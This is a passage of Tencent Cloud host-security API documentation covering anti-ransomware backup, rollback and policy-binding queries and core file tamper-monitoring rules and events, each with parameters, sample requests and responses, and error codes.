1jIGVjaG8gXCJDc2lwIGRhdGEgdGVzdFwiIFx1MDAzZVx1MDAzZSAvaG9tZS8ueWpmaWxlLzEyMWhjWGg
uZG9jICAxXHUwMDNlXHUwMDI2MiIsImFjY291bnQiOiIwOjAiLCJzdGFydF90aW1lIjoxNzE1NjU1NjYy
LCJleGVfcGVybSI6Ii1yd3hyLXhyLXgiLCJleGVfbXRpbWUiOjE1ODU3MDc0NTEsInNlc3Npb25pZCI6M
zIyNTQsInNzaF9zb3VyY2UiOiIxMTMuMTA4Ljc3LjUzOjM5NjIyIiwic3NoX3NlcnZpY2UiOiIxNzIuMT
YuNDkuMTA0OjIyIn0seyJwaWQiOjMyMjUyLCJleGUiOiIvdXNyL3NiaW4vc3NoZCIsImNtZGxpbmUiOiI
vdXNyL3NiaW4vc3NoZCAtRCAtUiIsImFjY291bnQiOiIwOjAiLCJzdGFydF90aW1lIjoxNzE1NjU1NjYx
LCJleGVfcGVybSI6Ii1yd3hyLXhyLXgiLCJleGVfbXRpbWUiOjE2OTExNjQ4NTIsInNlc3Npb25pZCI6M
zIyNTJ9XQ==",
"Quuid": "1c26308c-5493-4eaf-a817-112ec25f4991",
"SnapshotNum": 45,
"Status": 2,
"StrategyId": 10001,
"StrategyName": "It is used for tests. Do not use it.",
"Type": 0,
"Uuid": "1c26308c-5493-4eaf-a817-112ec25f4991",
"WanIp": "1.1.1.1"
}
],
"RequestId": "4e1f7136-1777-59a3-f31e-ed0623b3d270",
"TotalCount": 1
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeRansomDefenseMachineList

Last updated：2025-03-12 17:57:11

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of backup details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRansomDefenseMachineList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	Yes	Integer	Pagination parameters (The maximum quantity is 100)
Offset	Yes	Integer	Pagination parameter
Filters.N	No	Array of Filters	Filter criteria • Ips - String - required: no - query by IP • MachineNames - String - required: no - query by instance name • Names - String - required: no - query by policy name • Status - String - required: no - policy status: 0: backup in progress; 1: backup successful; 2: backup failed; 9: no backup

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			• LastBackupStatus - String - required: no - last backup status: 0: backup in progress; 1: backup succeeded; 2: backup failed; 9: no backup • LastBackupTimeBegin - String - required: no - start of the last backup time • LastBackupTimeEnd - String - required: no - end of the last backup time
Order	No	String	Sorting method: ASC / DESC
By	No	String	Sorting fields, support CreateTime, LastBackupTime, BackupCount.

3. Output Parameters

Parameter Name	Type	Description
List	Array of RansomDefenseStrategyMachineBackupInfo	Host list Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number of pagination query records Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the List of Backup Details

This example shows you how to query the list of backup details.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
```

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```
Content-Type: application/json
X-TC-Action: DescribeRansomDefenseMachineList
<Common request parameters>

{
"Order": "xx",
"Limit": 1,
"By": "xx",
"Filters": [
{
"Values": [
"xx"
],
"Name": "xx",
"ExactMatch": true
}
],
"Offset": 1
}
```

Output Example

```
{
"Response": {
"TotalCount": 1,
"List": [
{
"Uuid": "1c26308c-5493-4eaf-a817-112ec25f499e",
"Quuid": "1c26308c-5493-4eaf-a817-112ec25f499e",
"MachineName": "Test machine for license sales",
"InstanceId": "ins-ewwewe",
"MachineIp": "10.0.0.2",
"MachineWanIp": "xx.xx.xx.xx",
"CloudTags": [],
"RegionInfo": {
"Region": "ap-guangzhou",
"RegionCode": "gz",
"RegionId": 1,
"RegionName": "South China (Guangzhou)",
"RegionNameEn": "South China (Guangzhou)"
},
"Tag": [
{
"Rid": 16069,
"Name": "apitest",
"TagId": 16069
```

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```
}
],
"Status": 1,
"StrategyId": 5570,
"StrategyName": "tt1",
"DiskInfo": "diskId1|diskName1;diskId2|diskName2",
"BackupCount": 128,
"BackupSuccessCount": 121,
"LastBackupStatus": 1,
"LastBackupTime": "2024-10-22 00:04:04",
"LastBackupMessage": "success",
"RollBackStatus": 0,
"RollBackPercent": 0
}
],
"RequestId": "586e7838-8dce-38d4-5e4d-bbc5f4191c25"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeRansomDefenseRollBackTaskList

Last updated：2025-03-12 18:03:19

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the rollback task list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRansomDefenseRollBackTaskList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	Yes	Integer	Pagination parameters (The maximum number is 100.)
Offset	Yes	Integer	Pagination parameter
Filters.N	No	Array of Filters	Filter criteria • Ips- string- string- host name • Status - Uint64: 0 - in progress; 1 - succeeded; 2 failed • Names - String - host name
Order	No	String	Sorting method: ASC / DESC

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By	No	String	Sorting fields, support CreateTime, ModifyTime.

3. Output Parameters

Parameter Name	Type	Description
List	Array of RansomDefenseRollbackTask	Task list Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number of pagination query records Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the List of Rollback Tasks

This example shows you how to query the list of rollback tasks.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeRansomDefenseRollBackTaskList
<Common request parameters>

{
"Order": "xx",
"Limit": 1,
"By": "xx",
"Filters": [
{
"Values": [
"xx"
```

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```
],
"Name": "xx",
"ExactMatch": true
}
],
"Offset": 1
}
```

Output Example

```
{
"Response": {
"TotalCount": 1,
"List": [
{
"Id": 906,
"Uuid": "1c26308c-5493-4eaf-a817-112ec25f499e",
"Quuid": "1c26308c-5493-4eaf-a817-112ec25f499e ",
"MachineName": "Test machine for license sales",
"Status": 1,
"Disks": "disk-dddd|ddd-test_System disk",
"CreateTime": "2024-09-19 21:46:09",
"BackupTime": "2024-09-19 00:00:00",
"ModifyTime": "2024-09-19 21:46:21",
"RegionInfo": {
"Region": "ap-guangzhou",
"RegionCode": "gz",
"RegionId": 1,
"RegionName": "South China (Guangzhou)",
"RegionNameEn": "South China (Guangzhou)"
}
}
],
"RequestId": "1703764f-b3ea-4d7f-99cb-cc3a6a62e2ec"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeRansomDefenseStrategyMachines

Last updated：2025-03-12 17:51:55

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of machines bound to an anti-ransomware policy.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRansomDefenseStrategyMachines.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	Yes	Integer	Pagination parameters (The maximum number is 100.)
Offset	Yes	Integer	Pagination parameter
Filters.N	No	Array of Filters	Filter criteria • Ips- string- string- host name • Status - Uint64: 0 - unbound; 1 bound • Names - String - host name
Order	No	String	Sorting method: ASC / DESC

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By	No	String	Sorting field, supporting CreateTime
Id	No	Integer	Anti-Ransomware Policy ID

3. Output Parameters

Parameter Name	Type	Description
List	Array of RansomDefenseStrategyMachineDetail	Host list Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number of pagination query records Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the List of Machines Bound to the Anti-ransomware Policy

This example shows you how to query the list of machines bound to the anti-ransomware policy.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeRansomDefenseStrategyMachines
<Common request parameters>

{
"Id": 1,
"Limit": 1,
"Filters": [
{
"Values": [
```

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```
"xx"
],
"Name": "xx",
"ExactMatch": true
}
],
"Offset": 1,
"Order": "xx",
"By": "xx"
}
```


Output Example


```
{
"Response": {
"TotalCount": 1,
"List": [
{
"Uuid": "1c26308c-5493-4eaf-a817-112ec25f499e",
"Quuid": "1c26308c-5493-4eaf-a817-112ec25f499e",
"MachineName": "Test machine for license sales",
"InstanceId": "ins-ddad",
"MachineIp": "10.0.0.2",
"MachineWanIp": "xx.xx.xx.xx",
"CloudTags": [],
"RegionInfo": {
"Region": "ap-guangzhou",
"RegionCode": "gz",
"RegionId": 1,
"RegionName": "South China (Guangzhou)",
"RegionNameEn": "South China (Guangzhou)"
},
"Tag": [
{
"Rid": 16069,
"Name": "apitest",
"TagId": 16069
}
],
"Status": 1,
"StrategyId": 5570,
"StrategyName": "tt1",
"DiskInfo": "diskId1|diskName1;diskId2|diskName2",
"HostVersion": 2
}
],
```


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```
"RequestId": "544961cc-1ee0-4a5f-9752-7489afa407ef"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.

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MissingParameter	Missing parameter error.

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ModifyWebPageProtectSwitch

Last updated：2024-12-06 15:42:17

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to enable or disable website anti-tampering protection.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyWebPageProtectSwitch.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
SwitchType	Yes	Integer	Switch type: 1 - protection switch; 2 - auto recovery switch; 3 - remove protection directory
Ids.N	Yes	Array of String	Sites that require operating switches (maximum quantity is 100)
Status	No	Integer	1 - on; 0 - off; required when SwitchType is 1 | 2;

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyWebPageProtectSwitch
<Common request parameters>

{
"SwitchType": 1,
"Ids": [
"1",
"2",
"3"
],
"Status": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "c741a4fd-776f-499b-85a2-7bc70fd5b995"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
FailedOperation.APIServerFail	Failed to invoke the API service.
FailedOperation.AgentOffline	The client is offline.
FailedOperation.LicenseExceeded	Insufficient available licenses, missing 1 license. Purchase a new license.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
LimitExceeded	The quota limit is exceeded.
MissingParameter	Missing parameter error.
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.

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ModifyFileTamperEvents

Last updated：2024-12-06 15:42:19

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to update the core file events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyFileTamperEvents.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Status	Yes	Integer	Status. 1: added to allowlist; 2: deleted; 3: ignored.
Ids.N	Yes	Array of Integer	Corresponding event ID

3. Output Parameters

Parameter	Type	Description

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Name		
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyFileTamperEvents
<Common request parameters>

{
"Status": 1,
"Ids": [
1
]
}
```

Output Example

```
{
"Response": {
"RequestId": "c741a4fd-776f-499b-85a2-7bc70fd5b92s"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python

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- Tencent Cloud SDK 3.0 for Java
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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ModifyFileTamperRuleStatus

Last updated：2024-12-06 15:42:18

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to update the core file rule status (batch deletion and disabling supported).

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyFileTamperRuleStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Status	Yes	Integer	0: enable; 1: disable; 2: delete
Ids.N	Yes	Array of Integer	Corresponding event ID
RuleCategory	Yes	Integer	Whether a system rule: 0: system rule; 1: user defined rule. System rule Status cannot be deleted.

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyFileTamperRuleStatus
<Common request parameters>

{
"Status": 1,
"Ids": [
1
],
"RuleCategory": 0
}
```

Output Example

```
{
"Response": {
"RequestId": "c741a4fd-776f-499b-85a2-7bc70fd5b92s"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeFileTamperEventRuleInfo

Last updated：2024-12-06 15:42:31

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to view the rule details API when an event occurs.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeFileTamperEventRuleInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Event ID
Limit	No	Integer	Number of returned UUIDs per page
Offset	No	Integer	Offset

3. Output Parameters

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Parameter Name	Type	Description
FileTamperRuleDetail	FileTamperRuleDetail	Rule details
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeFileTamperEventRuleInfo
<Common request parameters>

{
"Id": 1
}
```

Output Example

```
{
"Response": {
"FileTamperRuleDetail": {
"Id": 11855,
"Uuids": [
"7168bc08-c1b8-11ea-9053-48fd8e5f474c"
],
"Name": "vim",
"Rule": [
{
"ProcessPath": "*/vim",
"Target": "/home/test/*",
"Action": "alert",
"FileAction": "read;write"
}
],
"IsGlobal": 0,
```

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```
"Status": 0,
"Level": 1,
"CreateTime": "2024-05-29T09:49:10+08:00",
"ModifyTime": "2024-06-03T20:14:59+08:00",
"UuidTotalCount": 1,
"AddWhiteType": "all"
},
"RequestId": "f4716f03-cca5-4087-afe8-26f361193661"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.

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InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
ResourceNotFound	The resource does not exist.

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DescribeFileTamperRuleCount

Last updated：2025-03-11 23:29:18

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the number of rules for monitoring files associated with a host.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeFileTamperRuleCount.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuids.N	Yes	Array of String	Query Host UUIDs, up to 100 queries at a time

3. Output Parameters

Parameter Name	Type	Description

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List	Array of FileTamperRuleCount	Information on Number of Host-associated Core File Rules Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to view the number of file monitoring rules associated with the host.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeFileTamperRuleCount
<Common request parameters>

{
"Uuids": [
"xx"
]
}
```

Output Example

```
{
"Response": {
"List": [
{
"Count": 1,
"Name": "Test machine for license sales",
"Uuid": "1c26308c-5493-4eaf-a817-112ec25f499e"
}
],
"RequestId": "c741a4fd-776f-499b-85a2-7bc70fd5b92s"
}
}
```

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5. Developer Resources

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeFileTamperRuleInfo

Last updated：2025-03-11 23:29:18

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query details of a monitoring rule.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeFileTamperRuleInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Rule ID
Limit	No	Integer	Control the number of UUIDs returned
Offset	No	Integer	Control the number of UUIDs returned, starting position

3. Output Parameters

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Parameter Name	Type	Description
FileTamperRuleDetail	FileTamperRuleDetail	Rule details
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeFileTamperRuleInfo
<Common request parameters>

{
"Id": 1
}
```

Output Example

```
{
"Response": {
"FileTamperRuleDetail": {
"AddWhiteType": "all",
"CreateTime": "2024-08-23T14:37:10+08:00",
"Id": 10001,
"IsGlobal": 0,
"Level": 1,
"ModifyTime": "2024-10-10T20:38:26+08:00",
"Name": "Machine name",
"Rule": [
{
"Action": "alert",
"FileAction": "write",
"ProcessPath": "*/vi",
"Target": "/root/*"
}
```

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```
],
"Status": 1,
"UuidTotalCount": 1,
"Uuids": [
"1ce68339-8828-457f-b358-d5b1b34e4fe9"
]
},
"RequestId": "2725aee8-adc4-4501-90cd-ccd77bfd35d5"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.

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InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
ResourceNotFound	The resource does not exist.

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ModifyRansomDefenseEventsStatus

Last updated：2024-12-06 15:42:17

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify the status of anti-ransomware events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyRansomDefenseEventsStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	An array of event IDs that need to be modified, and batch operation is supported.
Status	Yes	Integer	Operations. 0: Pending; 1: Processed; 2: Trusted; 9: Delete Record
All	No	Boolean	Whether to update all events with the same path.

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Changing the Anti-ransomware Event Status

This example shows you how to change the status of anti-ransomware events.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyRansomDefenseEventsStatus
<Common request parameters>

{
"Status": 1,
"Ids": [
1
]
}
```

Output Example

```
{
"Response": {
"RequestId": "935e27b1-d675-4509-80bf-96fbf0764237"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
AuthFailure	CAM signature/authentication error.
AuthFailure.UnauthorizedOperation	Authentication for the current user failed.
FailedOperation.AgentOffline	The client is offline.
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
OperationDenied	The operation was denied.
UnauthorizedOperation	Unauthorized operation.
UnsupportedOperation	The operation is not supported.

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DescribeFileTamperEvents

Last updated：2025-03-11 23:29:19

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of core file monitoring events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeFileTamperEvents.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filter criteria • Status - String - required: no - processing status: 0: pending; 1: allowlisted; 2: deleted; 3: ignored • ModifyTime - String - required: no - last occurrence time • Uuid- String - required: no - query by host UUID • RuleCategory - string - required: no - rule category. 0: system rule; 1: custom rule • FileAction - string - required: no - threat behavior: read - read file; write - write file
Offset	No	Integer	Offset. Default value: 0.

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Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.
Order	No	String	Sorting method: ASC, DESC
By	No	String	Sorting field: CreateTime; ModifyTime

3. Output Parameters

Parameter Name	Type	Description
List	Array of FileTamperEvent	Core File Event List Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number of data entries
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 List of Core File Monitoring Events

This example shows you how to acquire it normally.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeFileTamperEvents
<Common request parameters>

{
"Offset": 1,
"Limit": 1
}
```

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Output Example


```
{
"Response": {
"List": [
{
"CreateTime": "2024-10-22 08:45:58",
"Description": "It is detected that scheduled tasks of the system have been modified.",
"EventCount": 1,
"ExeMd5": "569f953571579ec4ae613cca7862930a",
"ExeName": "crontab",
"ExePermission": "-rwsr-xr-x",
"ExePid": 980959,
"ExeSize": 0,
"ExeTime": 1669715461,
"FileAction": "write",
"HostIp": "0.0.0.0",
"HostName": "Test machine for license sales",
"Id": 370572797,
"Level": 1,
"MachineExtraInfo": {
"HostName": "hn***",
"InstanceID": "ins-dsdsds",
"NetworkName": "vpc-d7f***",
"NetworkType": 0,
"PrivateIP": "10.1.1.15",
"WanIP": "0.0.0.0"
},
"MachineStatus": "ONLINE",
"ModifyTime": "2024-10-22 08:45:58",
"PrivateIp": "10.1.1.15",
"ProcessArgv": "crontab /root/cron.tmp",
